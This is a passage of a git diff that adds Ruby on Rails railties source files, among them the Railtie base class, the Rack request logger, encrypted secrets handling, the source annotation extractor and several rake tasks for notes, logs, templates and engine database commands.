+        @paths.unshift(*paths)
+      end
+
+      def to_ary
+        @paths
+      end
+
+      def extensions # :nodoc:
+        $1.split(",") if @glob =~ /\{([\S]+)\}/
+      end
+
+      # Expands all paths against the root and return all unique values.
+      def expanded
+        raise "You need to set a path root" unless @root.path
+        result = []
+
+        each do |p|
+          path = File.expand_path(p, @root.path)
+
+          if @glob && File.directory?(path)
+            Dir.chdir(path) do
+              result.concat(Dir.glob(@glob).map { |file| File.join path, file }.sort)
+            end
+          else
+            result << path
+          end
+        end
+
+        result.uniq!
+        result
+      end
+
+      # Returns all expanded paths but only if they exist in the filesystem.
+      def existent
+        expanded.select do |f|
+          does_exist = File.exist?(f)
+
+          if !does_exist && File.symlink?(f)
+            raise "File #{f.inspect} is a symlink that does not point to a valid file"
+          end
+          does_exist
+        end
+      end
+
+      def existent_directories
+        expanded.select { |d| File.directory?(d) }
+      end
+
+      alias to_a expanded
+    end
+  end
+end
diff --git a/railties/lib/rails/plugin/test.rb b/railties/lib/rails/plugin/test.rb
new file mode 100644
index 0000000000..40070c0eb3
--- /dev/null
+++ b/railties/lib/rails/plugin/test.rb
@@ -0,0 +1,7 @@
+require_relative "../test_unit/runner"
+require_relative "../test_unit/reporter"
+
+Rails::TestUnitReporter.executable = "bin/test"
+
+Rails::TestUnit::Runner.parse_options(ARGV)
+Rails::TestUnit::Runner.run(ARGV)
diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb
new file mode 100644
index 0000000000..a4c4527a72
--- /dev/null
+++ b/railties/lib/rails/rack.rb
@@ -0,0 +1,5 @@
+module Rails
+  module Rack
+    autoload :Logger, "rails/rack/logger"
+  end
+end
diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb
new file mode 100644
index 0000000000..853fc26051
--- /dev/null
+++ b/railties/lib/rails/rack/logger.rb
@@ -0,0 +1,78 @@
+require "active_support/core_ext/time/conversions"
+require "active_support/core_ext/object/blank"
+require "active_support/log_subscriber"
+require "action_dispatch/http/request"
+require "rack/body_proxy"
+
+module Rails
+  module Rack
+    # Sets log tags, logs the request, calls the app, and flushes the logs.
+    #
+    # Log tags (+taggers+) can be an Array containing: methods that the +request+
+    # object responds to, objects that respond to +to_s+ or Proc objects that accept
+    # an instance of the +request+ object.
+    class Logger < ActiveSupport::LogSubscriber
+      def initialize(app, taggers = nil)
+        @app          = app
+        @taggers      = taggers || []
+      end
+
+      def call(env)
+        request = ActionDispatch::Request.new(env)
+
+        if logger.respond_to?(:tagged)
+          logger.tagged(compute_tags(request)) { call_app(request, env) }
+        else
+          call_app(request, env)
+        end
+      end
+
+      private
+
+        def call_app(request, env) # :doc:
+          instrumenter = ActiveSupport::Notifications.instrumenter
+          instrumenter.start "request.action_dispatch", request: request
+          logger.info { started_request_message(request) }
+          resp = @app.call(env)
+          resp[2] = ::Rack::BodyProxy.new(resp[2]) { finish(request) }
+          resp
+        rescue Exception
+          finish(request)
+          raise
+        ensure
+          ActiveSupport::LogSubscriber.flush_all!
+        end
+
+        # Started GET "/session/new" for 127.0.0.1 at 2012-09-26 14:51:42 -0700
+        def started_request_message(request) # :doc:
+          'Started %s "%s" for %s at %s' % [
+            request.request_method,
+            request.filtered_path,
+            request.ip,
+            Time.now.to_default_s ]
+        end
+
+        def compute_tags(request) # :doc:
+          @taggers.collect do |tag|
+            case tag
+            when Proc
+              tag.call(request)
+            when Symbol
+              request.send(tag)
+            else
+              tag
+            end
+          end
+        end
+
+        def finish(request)
+          instrumenter = ActiveSupport::Notifications.instrumenter
+          instrumenter.finish "request.action_dispatch", request: request
+        end
+
+        def logger
+          Rails.logger
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
new file mode 100644
index 0000000000..a2a0192cfc
--- /dev/null
+++ b/railties/lib/rails/railtie.rb
@@ -0,0 +1,258 @@
+require_relative "initializable"
+require "active_support/inflector"
+require "active_support/core_ext/module/introspection"
+require "active_support/core_ext/module/delegation"
+
+module Rails
+  # <tt>Rails::Railtie</tt> is the core of the Rails framework and provides
+  # several hooks to extend Rails and/or modify the initialization process.
+  #
+  # Every major component of Rails (Action Mailer, Action Controller, Active
+  # Record, etc.) implements a railtie. Each of them is responsible for their
+  # own initialization. This makes Rails itself absent of any component hooks,
+  # allowing other components to be used in place of any of the Rails defaults.
+  #
+  # Developing a Rails extension does _not_ require implementing a railtie, but
+  # if you need to interact with the Rails framework during or after boot, then
+  # a railtie is needed.
+  #
+  # For example, an extension doing any of the following would need a railtie:
+  #
+  # * creating initializers
+  # * configuring a Rails framework for the application, like setting a generator
+  # * adding <tt>config.*</tt> keys to the environment
+  # * setting up a subscriber with <tt>ActiveSupport::Notifications</tt>
+  # * adding Rake tasks
+  #
+  # == Creating a Railtie
+  #
+  # To extend Rails using a railtie, create a subclass of <tt>Rails::Railtie</tt>.
+  # This class must be loaded during the Rails boot process, and is conventionally
+  # called <tt>MyNamespace::Railtie</tt>.
+  #
+  # The following example demonstrates an extension which can be used with or
+  # without Rails.
+  #
+  #   # lib/my_gem/railtie.rb
+  #   module MyGem
+  #     class Railtie < Rails::Railtie
+  #     end
+  #   end
+  #
+  #   # lib/my_gem.rb
+  #   require 'my_gem/railtie' if defined?(Rails)
+  #
+  # == Initializers
+  #
+  # To add an initialization step to the Rails boot process from your railtie, just
+  # define the initialization code with the +initializer+ macro:
+  #
+  #   class MyRailtie < Rails::Railtie
+  #     initializer "my_railtie.configure_rails_initialization" do
+  #       # some initialization behavior
+  #     end
+  #   end
+  #
+  # If specified, the block can also receive the application object, in case you
+  # need to access some application-specific configuration, like middleware:
+  #
+  #   class MyRailtie < Rails::Railtie
+  #     initializer "my_railtie.configure_rails_initialization" do |app|
+  #       app.middleware.use MyRailtie::Middleware
+  #     end
+  #   end
+  #
+  # Finally, you can also pass <tt>:before</tt> and <tt>:after</tt> as options to
+  # +initializer+, in case you want to couple it with a specific step in the
+  # initialization process.
+  #
+  # == Configuration
+  #
+  # Railties can access a config object which contains configuration shared by all
+  # railties and the application:
+  #
+  #   class MyRailtie < Rails::Railtie
+  #     # Customize the ORM
+  #     config.app_generators.orm :my_railtie_orm
+  #
+  #     # Add a to_prepare block which is executed once in production
+  #     # and before each request in development.
+  #     config.to_prepare do
+  #       MyRailtie.setup!
+  #     end
+  #   end
+  #
+  # == Loading Rake Tasks and Generators
+  #
+  # If your railtie has Rake tasks, you can tell Rails to load them through the method
+  # +rake_tasks+:
+  #
+  #   class MyRailtie < Rails::Railtie
+  #     rake_tasks do
+  #       load 'path/to/my_railtie.tasks'
+  #     end
+  #   end
+  #
+  # By default, Rails loads generators from your load path. However, if you want to place
+  # your generators at a different location, you can specify in your railtie a block which
+  # will load them during normal generators lookup:
+  #
+  #   class MyRailtie < Rails::Railtie
+  #     generators do
+  #       require 'path/to/my_railtie_generator'
+  #     end
+  #   end
+  #
+  # Since filenames on the load path are shared across gems, be sure that files you load
+  # through a railtie have unique names.
+  #
+  # == Application and Engine
+  #
+  # An engine is nothing more than a railtie with some initializers already set. And since
+  # <tt>Rails::Application</tt> is an engine, the same configuration described here can be
+  # used in both.
+  #
+  # Be sure to look at the documentation of those specific classes for more information.
+  class Railtie
+    autoload :Configuration, "rails/railtie/configuration"
+
+    include Initializable
+
+    ABSTRACT_RAILTIES = %w(Rails::Railtie Rails::Engine Rails::Application)
+
+    class << self
+      private :new
+      delegate :config, to: :instance
+
+      def subclasses
+        @subclasses ||= []
+      end
+
+      def inherited(base)
+        unless base.abstract_railtie?
+          subclasses << base
+        end
+      end
+
+      def rake_tasks(&blk)
+        register_block_for(:rake_tasks, &blk)
+      end
+
+      def console(&blk)
+        register_block_for(:load_console, &blk)
+      end
+
+      def runner(&blk)
+        register_block_for(:runner, &blk)
+      end
+
+      def generators(&blk)
+        register_block_for(:generators, &blk)
+      end
+
+      def abstract_railtie?
+        ABSTRACT_RAILTIES.include?(name)
+      end
+
+      def railtie_name(name = nil)
+        @railtie_name = name.to_s if name
+        @railtie_name ||= generate_railtie_name(self.name)
+      end
+
+      # Since Rails::Railtie cannot be instantiated, any methods that call
+      # +instance+ are intended to be called only on subclasses of a Railtie.
+      def instance
+        @instance ||= new
+      end
+
+      # Allows you to configure the railtie. This is the same method seen in
+      # Railtie::Configurable, but this module is no longer required for all
+      # subclasses of Railtie so we provide the class method here.
+      def configure(&block)
+        instance.configure(&block)
+      end
+
+      private
+        def generate_railtie_name(string)
+          ActiveSupport::Inflector.underscore(string).tr("/", "_")
+        end
+
+        def respond_to_missing?(name, _)
+          instance.respond_to?(name) || super
+        end
+
+        # If the class method does not have a method, then send the method call
+        # to the Railtie instance.
+        def method_missing(name, *args, &block)
+          if instance.respond_to?(name)
+            instance.public_send(name, *args, &block)
+          else
+            super
+          end
+        end
+
+        # receives an instance variable identifier, set the variable value if is
+        # blank and append given block to value, which will be used later in
+        # `#each_registered_block(type, &block)`
+        def register_block_for(type, &blk)
+          var_name = "@#{type}"
+          blocks = instance_variable_defined?(var_name) ? instance_variable_get(var_name) : instance_variable_set(var_name, [])
+          blocks << blk if blk
+          blocks
+        end
+    end
+
+    delegate :railtie_name, to: :class
+
+    def initialize #:nodoc:
+      if self.class.abstract_railtie?
+        raise "#{self.class.name} is abstract, you cannot instantiate it directly."
+      end
+    end
+
+    def configure(&block) #:nodoc:
+      instance_eval(&block)
+    end
+
+    # This is used to create the <tt>config</tt> object on Railties, an instance of
+    # Railtie::Configuration, that is used by Railties and Application to store
+    # related configuration.
+    def config
+      @config ||= Railtie::Configuration.new
+    end
+
+    def railtie_namespace #:nodoc:
+      @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:railtie_namespace) }
+    end
+
+    protected
+
+      def run_console_blocks(app) #:nodoc:
+        each_registered_block(:console) { |block| block.call(app) }
+      end
+
+      def run_generators_blocks(app) #:nodoc:
+        each_registered_block(:generators) { |block| block.call(app) }
+      end
+
+      def run_runner_blocks(app) #:nodoc:
+        each_registered_block(:runner) { |block| block.call(app) }
+      end
+
+      def run_tasks_blocks(app) #:nodoc:
+        extend Rake::DSL
+        each_registered_block(:rake_tasks) { |block| instance_exec(app, &block) }
+      end
+
+    private
+
+      # run `&block` in every registered block in `#register_block_for`
+      def each_registered_block(type, &block)
+        klass = self.class
+        while klass.respond_to?(type)
+          klass.public_send(type).each(&block)
+          klass = klass.superclass
+        end
+      end
+  end
+end
diff --git a/railties/lib/rails/railtie/configurable.rb b/railties/lib/rails/railtie/configurable.rb
new file mode 100644
index 0000000000..2a8295426e
--- /dev/null
+++ b/railties/lib/rails/railtie/configurable.rb
@@ -0,0 +1,35 @@
+require "active_support/concern"
+
+module Rails
+  class Railtie
+    module Configurable
+      extend ActiveSupport::Concern
+
+      module ClassMethods
+        delegate :config, to: :instance
+
+        def inherited(base)
+          raise "You cannot inherit from a #{superclass.name} child"
+        end
+
+        def instance
+          @instance ||= new
+        end
+
+        def respond_to?(*args)
+          super || instance.respond_to?(*args)
+        end
+
+        def configure(&block)
+          class_eval(&block)
+        end
+
+        private
+
+          def method_missing(*args, &block)
+            instance.send(*args, &block)
+          end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb
new file mode 100644
index 0000000000..275d2039f6
--- /dev/null
+++ b/railties/lib/rails/railtie/configuration.rb
@@ -0,0 +1,100 @@
+require_relative "../configuration"
+
+module Rails
+  class Railtie
+    class Configuration
+      def initialize
+        @@options ||= {}
+      end
+
+      # Expose the eager_load_namespaces at "module" level for convenience.
+      def self.eager_load_namespaces #:nodoc:
+        @@eager_load_namespaces ||= []
+      end
+
+      # All namespaces that are eager loaded
+      def eager_load_namespaces
+        @@eager_load_namespaces ||= []
+      end
+
+      # Add files that should be watched for change.
+      def watchable_files
+        @@watchable_files ||= []
+      end
+
+      # Add directories that should be watched for change.
+      # The key of the hashes should be directories and the values should
+      # be an array of extensions to match in each directory.
+      def watchable_dirs
+        @@watchable_dirs ||= {}
+      end
+
+      # This allows you to modify the application's middlewares from Engines.
+      #
+      # All operations you run on the app_middleware will be replayed on the
+      # application once it is defined and the default_middlewares are
+      # created
+      def app_middleware
+        @@app_middleware ||= Rails::Configuration::MiddlewareStackProxy.new
+      end
+
+      # This allows you to modify application's generators from Railties.
+      #
+      # Values set on app_generators will become defaults for application, unless
+      # application overwrites them.
+      def app_generators
+        @@app_generators ||= Rails::Configuration::Generators.new
+        yield(@@app_generators) if block_given?
+        @@app_generators
+      end
+
+      # First configurable block to run. Called before any initializers are run.
+      def before_configuration(&block)
+        ActiveSupport.on_load(:before_configuration, yield: true, &block)
+      end
+
+      # Third configurable block to run. Does not run if +config.cache_classes+
+      # set to false.
+      def before_eager_load(&block)
+        ActiveSupport.on_load(:before_eager_load, yield: true, &block)
+      end
+
+      # Second configurable block to run. Called before frameworks initialize.
+      def before_initialize(&block)
+        ActiveSupport.on_load(:before_initialize, yield: true, &block)
+      end
+
+      # Last configurable block to run. Called after frameworks initialize.
+      def after_initialize(&block)
+        ActiveSupport.on_load(:after_initialize, yield: true, &block)
+      end
+
+      # Array of callbacks defined by #to_prepare.
+      def to_prepare_blocks
+        @@to_prepare_blocks ||= []
+      end
+
+      # Defines generic callbacks to run before #after_initialize. Useful for
+      # Rails::Railtie subclasses.
+      def to_prepare(&blk)
+        to_prepare_blocks << blk if blk
+      end
+
+      def respond_to?(name, include_private = false)
+        super || @@options.key?(name.to_sym)
+      end
+
+    private
+
+      def method_missing(name, *args, &blk)
+        if name.to_s =~ /=$/
+          @@options[$`.to_sym] = args.first
+        elsif @@options.key?(name)
+          @@options[name]
+        else
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/ruby_version_check.rb b/railties/lib/rails/ruby_version_check.rb
new file mode 100644
index 0000000000..b212835df7
--- /dev/null
+++ b/railties/lib/rails/ruby_version_check.rb
@@ -0,0 +1,13 @@
+if RUBY_VERSION < "2.2.2" && RUBY_ENGINE == "ruby"
+  desc = defined?(RUBY_DESCRIPTION) ? RUBY_DESCRIPTION : "ruby #{RUBY_VERSION} (#{RUBY_RELEASE_DATE})"
+  abort <<-end_message
+
+    Rails 5 requires Ruby 2.2.2 or newer.
+
+    You're running
+      #{desc}
+
+    Please upgrade to Ruby 2.2.2 or newer to continue.
+
+  end_message
+end
diff --git a/railties/lib/rails/secrets.rb b/railties/lib/rails/secrets.rb
new file mode 100644
index 0000000000..0883857c55
--- /dev/null
+++ b/railties/lib/rails/secrets.rb
@@ -0,0 +1,121 @@
+require "yaml"
+require "active_support/message_encryptor"
+require "active_support/core_ext/string/strip"
+
+module Rails
+  # Greatly inspired by Ara T. Howard's magnificent sekrets gem. 😘
+  class Secrets # :nodoc:
+    class MissingKeyError < RuntimeError
+      def initialize
+        super(<<-end_of_message.squish)
+          Missing encryption key to decrypt secrets with.
+          Ask your team for your master key and put it in ENV["RAILS_MASTER_KEY"]
+        end_of_message
+      end
+    end
+
+    @cipher = "aes-128-gcm"
+    @root = File # Wonky, but ensures `join` uses the current directory.
+
+    class << self
+      attr_writer :root
+
+      def parse(paths, env:)
+        paths.each_with_object(Hash.new) do |path, all_secrets|
+          require "erb"
+
+          secrets = YAML.load(ERB.new(preprocess(path)).result) || {}
+          all_secrets.merge!(secrets["shared"].deep_symbolize_keys) if secrets["shared"]
+          all_secrets.merge!(secrets[env].deep_symbolize_keys) if secrets[env]
+        end
+      end
+
+      def generate_key
+        SecureRandom.hex(OpenSSL::Cipher.new(@cipher).key_len)
+      end
+
+      def key
+        ENV["RAILS_MASTER_KEY"] || read_key_file || handle_missing_key
+      end
+
+      def template
+        <<-end_of_template.strip_heredoc
+          # See `secrets.yml` for tips on generating suitable keys.
+          # production:
+          #  external_api_key: 1466aac22e6a869134be3d09b9e89232fc2c2289
+
+        end_of_template
+      end
+
+      def encrypt(data)
+        encryptor.encrypt_and_sign(data)
+      end
+
+      def decrypt(data)
+        encryptor.decrypt_and_verify(data)
+      end
+
+      def read
+        decrypt(IO.binread(path))
+      end
+
+      def write(contents)
+        IO.binwrite("#{path}.tmp", encrypt(contents))
+        FileUtils.mv("#{path}.tmp", path)
+      end
+
+      def read_for_editing(&block)
+        writing(read, &block)
+      end
+
+      def read_template_for_editing(&block)
+        writing(template, &block)
+      end
+
+      private
+        def handle_missing_key
+          raise MissingKeyError
+        end
+
+        def read_key_file
+          if File.exist?(key_path)
+            IO.binread(key_path).strip
+          end
+        end
+
+        def key_path
+          @root.join("config", "secrets.yml.key")
+        end
+
+        def path
+          @root.join("config", "secrets.yml.enc").to_s
+        end
+
+        def preprocess(path)
+          if path.end_with?(".enc")
+            decrypt(IO.binread(path))
+          else
+            IO.read(path)
+          end
+        end
+
+        def writing(contents)
+          tmp_file = "#{File.basename(path)}.#{Process.pid}"
+          tmp_path = File.join(Dir.tmpdir, tmp_file)
+          IO.binwrite(tmp_path, contents)
+
+          yield tmp_path
+
+          updated_contents = IO.binread(tmp_path)
+
+          write(updated_contents) if updated_contents != contents
+        ensure
+          FileUtils.rm(tmp_path) if File.exist?(tmp_path)
+        end
+
+        def encryptor
+          @encryptor ||= ActiveSupport::MessageEncryptor.new([ key ].pack("H*"), cipher: @cipher)
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb
new file mode 100644
index 0000000000..e9088c44ce
--- /dev/null
+++ b/railties/lib/rails/source_annotation_extractor.rb
@@ -0,0 +1,139 @@
+# Implements the logic behind the rake tasks for annotations like
+#
+#   rails notes
+#   rails notes:optimize
+#
+# and friends. See <tt>rails -T notes</tt> and <tt>railties/lib/rails/tasks/annotations.rake</tt>.
+#
+# Annotation objects are triplets <tt>:line</tt>, <tt>:tag</tt>, <tt>:text</tt> that
+# represent the line where the annotation lives, its tag, and its text. Note
+# the filename is not stored.
+#
+# Annotations are looked for in comments and modulus whitespace they have to
+# start with the tag optionally followed by a colon. Everything up to the end
+# of the line (or closing ERB comment tag) is considered to be their text.
+class SourceAnnotationExtractor
+  Annotation = Struct.new(:line, :tag, :text) do
+    def self.directories
+      @@directories ||= %w(app config db lib test) + (ENV["SOURCE_ANNOTATION_DIRECTORIES"] || "").split(",")
+    end
+
+    # Registers additional directories to be included
+    #  SourceAnnotationExtractor::Annotation.register_directories("spec","another")
+    def self.register_directories(*dirs)
+      directories.push(*dirs)
+    end
+
+    def self.extensions
+      @@extensions ||= {}
+    end
+
+    # Registers new Annotations File Extensions
+    #   SourceAnnotationExtractor::Annotation.register_extensions("css", "scss", "sass", "less", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+    def self.register_extensions(*exts, &block)
+      extensions[/\.(#{exts.join("|")})$/] = block
+    end
+
+    register_extensions("builder", "rb", "rake", "yml", "yaml", "ruby") { |tag| /#\s*(#{tag}):?\s*(.*)$/ }
+    register_extensions("css", "js") { |tag| /\/\/\s*(#{tag}):?\s*(.*)$/ }
+    register_extensions("erb") { |tag| /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/ }
+
+    # Returns a representation of the annotation that looks like this:
+    #
+    #   [126] [TODO] This algorithm is simple and clearly correct, make it faster.
+    #
+    # If +options+ has a flag <tt>:tag</tt> the tag is shown as in the example above.
+    # Otherwise the string contains just line and text.
+    def to_s(options = {})
+      s = "[#{line.to_s.rjust(options[:indent])}] "
+      s << "[#{tag}] " if options[:tag]
+      s << text
+    end
+  end
+
+  # Prints all annotations with tag +tag+ under the root directories +app+,
+  # +config+, +db+, +lib+, and +test+ (recursively).
+  #
+  # Additional directories may be added using a comma-delimited list set using
+  # <tt>ENV['SOURCE_ANNOTATION_DIRECTORIES']</tt>.
+  #
+  # Directories may also be explicitly set using the <tt>:dirs</tt> key in +options+.
+  #
+  #   SourceAnnotationExtractor.enumerate 'TODO|FIXME', dirs: %w(app lib), tag: true
+  #
+  # If +options+ has a <tt>:tag</tt> flag, it will be passed to each annotation's +to_s+.
+  #
+  # See <tt>#find_in</tt> for a list of file extensions that will be taken into account.
+  #
+  # This class method is the single entry point for the rake tasks.
+  def self.enumerate(tag, options = {})
+    extractor = new(tag)
+    dirs = options.delete(:dirs) || Annotation.directories
+    extractor.display(extractor.find(dirs), options)
+  end
+
+  attr_reader :tag
+
+  def initialize(tag)
+    @tag = tag
+  end
+
+  # Returns a hash that maps filenames under +dirs+ (recursively) to arrays
+  # with their annotations.
+  def find(dirs)
+    dirs.inject({}) { |h, dir| h.update(find_in(dir)) }
+  end
+
+  # Returns a hash that maps filenames under +dir+ (recursively) to arrays
+  # with their annotations. Only files with annotations are included. Files
+  # with extension +.builder+, +.rb+, +.rake+, +.yml+, +.yaml+, +.ruby+,
+  # +.css+, +.js+ and +.erb+ are taken into account.
+  def find_in(dir)
+    results = {}
+
+    Dir.glob("#{dir}/*") do |item|
+      next if File.basename(item)[0] == ?.
+
+      if File.directory?(item)
+        results.update(find_in(item))
+      else
+        extension = Annotation.extensions.detect do |regexp, _block|
+          regexp.match(item)
+        end
+
+        if extension
+          pattern = extension.last.call(tag)
+          results.update(extract_annotations_from(item, pattern)) if pattern
+        end
+      end
+    end
+
+    results
+  end
+
+  # If +file+ is the filename of a file that contains annotations this method returns
+  # a hash with a single entry that maps +file+ to an array of its annotations.
+  # Otherwise it returns an empty hash.
+  def extract_annotations_from(file, pattern)
+    lineno = 0
+    result = File.readlines(file, encoding: Encoding::BINARY).inject([]) do |list, line|
+      lineno += 1
+      next list unless line =~ pattern
+      list << Annotation.new(lineno, $1, $2)
+    end
+    result.empty? ? {} : { file => result }
+  end
+
+  # Prints the mapping from filenames to annotations in +results+ ordered by filename.
+  # The +options+ hash is passed to each annotation's +to_s+.
+  def display(results, options = {})
+    options[:indent] = results.flat_map { |f, a| a.map(&:line) }.max.to_s.size
+    results.keys.sort.each do |file|
+      puts "#{file}:"
+      results[file].each do |note|
+        puts "  * #{note.to_s(options)}"
+      end
+      puts
+    end
+  end
+end
diff --git a/railties/lib/rails/tasks.rb b/railties/lib/rails/tasks.rb
new file mode 100644
index 0000000000..c0a50e5bda
--- /dev/null
+++ b/railties/lib/rails/tasks.rb
@@ -0,0 +1,20 @@
+require "rake"
+
+# Load Rails Rakefile extensions
+%w(
+  annotations
+  dev
+  framework
+  initializers
+  log
+  middleware
+  misc
+  restart
+  routes
+  tmp
+  yarn
+).tap { |arr|
+  arr << "statistics" if Rake.application.current_scope.empty?
+}.each do |task|
+  load "rails/tasks/#{task}.rake"
+end
diff --git a/railties/lib/rails/tasks/annotations.rake b/railties/lib/rails/tasks/annotations.rake
new file mode 100644
index 0000000000..ae427249ef
--- /dev/null
+++ b/railties/lib/rails/tasks/annotations.rake
@@ -0,0 +1,20 @@
+require_relative "../source_annotation_extractor"
+
+desc "Enumerate all annotations (use notes:optimize, :fixme, :todo for focus)"
+task :notes do
+  SourceAnnotationExtractor.enumerate "OPTIMIZE|FIXME|TODO", tag: true
+end
+
+namespace :notes do
+  ["OPTIMIZE", "FIXME", "TODO"].each do |annotation|
+    # desc "Enumerate all #{annotation} annotations"
+    task annotation.downcase.intern do
+      SourceAnnotationExtractor.enumerate annotation
+    end
+  end
+
+  desc "Enumerate a custom annotation, specify with ANNOTATION=CUSTOM"
+  task :custom do
+    SourceAnnotationExtractor.enumerate ENV["ANNOTATION"]
+  end
+end
diff --git a/railties/lib/rails/tasks/dev.rake b/railties/lib/rails/tasks/dev.rake
new file mode 100644
index 0000000000..b2447cbcfc
--- /dev/null
+++ b/railties/lib/rails/tasks/dev.rake
@@ -0,0 +1,8 @@
+require_relative "../dev_caching"
+
+namespace :dev do
+  desc "Toggle development mode caching on/off"
+  task :cache do
+    Rails::DevCaching.enable_by_file
+  end
+end
diff --git a/railties/lib/rails/tasks/engine.rake b/railties/lib/rails/tasks/engine.rake
new file mode 100644
index 0000000000..a8d67322da
--- /dev/null
+++ b/railties/lib/rails/tasks/engine.rake
@@ -0,0 +1,83 @@
+task "load_app" do
+  namespace :app do
+    load APP_RAKEFILE
+
+    desc "Update some initially generated files"
+    task update: [ "update:bin" ]
+
+    namespace :update do
+      require_relative "../engine/updater"
+      # desc "Adds new executables to the engine bin/ directory"
+      task :bin do
+        Rails::Engine::Updater.run(:create_bin_files)
+      end
+    end
+  end
+  task environment: "app:environment"
+
+  if !defined?(ENGINE_ROOT) || !ENGINE_ROOT
+    ENGINE_ROOT = find_engine_path(APP_RAKEFILE)
+  end
+end
+
+def app_task(name)
+  task name => [:load_app, "app:db:#{name}"]
+end
+
+namespace :db do
+  app_task "reset"
+
+  desc "Migrate the database (options: VERSION=x, VERBOSE=false)."
+  app_task "migrate"
+  app_task "migrate:up"
+  app_task "migrate:down"
+  app_task "migrate:redo"
+  app_task "migrate:reset"
+
+  desc "Display status of migrations"
+  app_task "migrate:status"
+
+  desc "Create the database from config/database.yml for the current Rails.env (use db:create:all to create all databases in the config)"
+  app_task "create"
+  app_task "create:all"
+
+  desc "Drops the database for the current Rails.env (use db:drop:all to drop all databases)"
+  app_task "drop"
+  app_task "drop:all"
+
+  desc "Load fixtures into the current environment's database."
+  app_task "fixtures:load"
+
+  desc "Rolls the schema back to the previous version (specify steps w/ STEP=n)."
+  app_task "rollback"
+
+  desc "Create a db/schema.rb file that can be portably used against any DB supported by Active Record"
+  app_task "schema:dump"
+
+  desc "Load a schema.rb file into the database"
+  app_task "schema:load"
+
+  desc "Load the seed data from db/seeds.rb"
+  app_task "seed"
+
+  desc "Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the db first)"
+  app_task "setup"
+
+  desc "Dump the database structure to an SQL file"
+  app_task "structure:dump"
+
+  desc "Retrieves the current schema version number"
+  app_task "version"
+end
+
+def find_engine_path(path)
+  return File.expand_path(Dir.pwd) if path == "/"
+
+  if Rails::Engine.find(path)
+    path
+  else
+    find_engine_path(File.expand_path("..", path))
+  end
+end
+
+Rake.application.invoke_task(:load_app)
diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake
new file mode 100644
index 0000000000..6c6e86d78d
--- /dev/null
+++ b/railties/lib/rails/tasks/framework.rake
@@ -0,0 +1,56 @@
+namespace :app do
+  desc "Update configs and some other initially generated files (or use just update:configs or update:bin)"
+  task update: [ "update:configs", "update:bin", "update:upgrade_guide_info" ]
+
+  desc "Applies the template supplied by LOCATION=(/path/to/template) or URL"
+  task template: :environment do
+    template = ENV["LOCATION"]
+    raise "No LOCATION value given. Please set LOCATION either as path to a file or a URL" if template.blank?
+    template = File.expand_path(template) if template !~ %r{\A[A-Za-z][A-Za-z0-9+\-\.]*://}
+    require_relative "../generators"
+    require_relative "../generators/rails/app/app_generator"
+    generator = Rails::Generators::AppGenerator.new [Rails.root], {}, destination_root: Rails.root
+    generator.apply template, verbose: false
+  end
+
+  namespace :templates do
+    # desc "Copy all the templates from rails to the application directory for customization. Already existing local copies will be overwritten"
+    task :copy do
+      generators_lib = File.expand_path("../generators", __dir__)
+      project_templates = "#{Rails.root}/lib/templates"
+
+      default_templates = { "erb"   => %w{controller mailer scaffold},
+                            "rails" => %w{controller helper scaffold_controller assets} }
+
+      default_templates.each do |type, names|
+        local_template_type_dir = File.join(project_templates, type)
+        mkdir_p local_template_type_dir, verbose: false
+
+        names.each do |name|
+          dst_name = File.join(local_template_type_dir, name)
+          src_name = File.join(generators_lib, type, name, "templates")
+          cp_r src_name, dst_name, verbose: false
+        end
+      end
+    end
+  end
+
+  namespace :update do
+    require_relative "../app_updater"
+
+    # desc "Update config/boot.rb from your current rails install"
+    task :configs do
+      Rails::AppUpdater.invoke_from_app_generator :create_boot_file
+      Rails::AppUpdater.invoke_from_app_generator :update_config_files
+    end
+
+    # desc "Adds new executables to the application bin/ directory"
+    task :bin do
+      Rails::AppUpdater.invoke_from_app_generator :update_bin_files
+    end
+
+    task :upgrade_guide_info do
+      Rails::AppUpdater.invoke_from_app_generator :display_upgrade_guide_info
+    end
+  end
+end
diff --git a/railties/lib/rails/tasks/initializers.rake b/railties/lib/rails/tasks/initializers.rake
new file mode 100644
index 0000000000..6522f2ae5a
--- /dev/null
+++ b/railties/lib/rails/tasks/initializers.rake
@@ -0,0 +1,6 @@
+desc "Print out all defined initializers in the order they are invoked by Rails."
+task initializers: :environment do
+  Rails.application.initializers.tsort_each do |initializer|
+    puts "#{initializer.context_class}.#{initializer.name}"
+  end
+end
diff --git a/railties/lib/rails/tasks/log.rake b/railties/lib/rails/tasks/log.rake
new file mode 100644
index 0000000000..ba796845d7
--- /dev/null
+++ b/railties/lib/rails/tasks/log.rake
@@ -0,0 +1,40 @@
+namespace :log do
+
+  ##
+  # Truncates all/specified log files
+  # ENV['LOGS']
+  #   - defaults to all environments log files i.e. 'development,test,production'
+  #   - ENV['LOGS']=all truncates all files i.e. log/*.log
+  #   - ENV['LOGS']='test,development' truncates only specified files
+  desc "Truncates all/specified *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)"
+  task :clear do
+    log_files.each do |file|
+      clear_log_file(file)
+    end
+  end
+
+  def log_files
+    if ENV["LOGS"] == "all"
+      FileList["log/*.log"]
+    elsif ENV["LOGS"]
+      log_files_to_truncate(ENV["LOGS"])
+    else
+      log_files_to_truncate(all_environments.join(","))
+    end
+  end
+
+  def log_files_to_truncate(envs)
+    envs.split(",")
+        .map    { |file| "log/#{file.strip}.log" }
+        .select { |file| File.exist?(file) }
+  end
+
+  def clear_log_file(file)
+    f = File.open(file, "w")
+    f.close
+  end
+
+  def all_environments
+    Dir["config/environments/*.rb"].map { |fname| File.basename(fname, ".*") }
+  end
+end
diff --git a/railties/lib/rails/tasks/middleware.rake b/railties/lib/rails/tasks/middleware.rake
new file mode 100644
index 0000000000..fd98be1ea9
--- /dev/null
+++ b/railties/lib/rails/tasks/middleware.rake
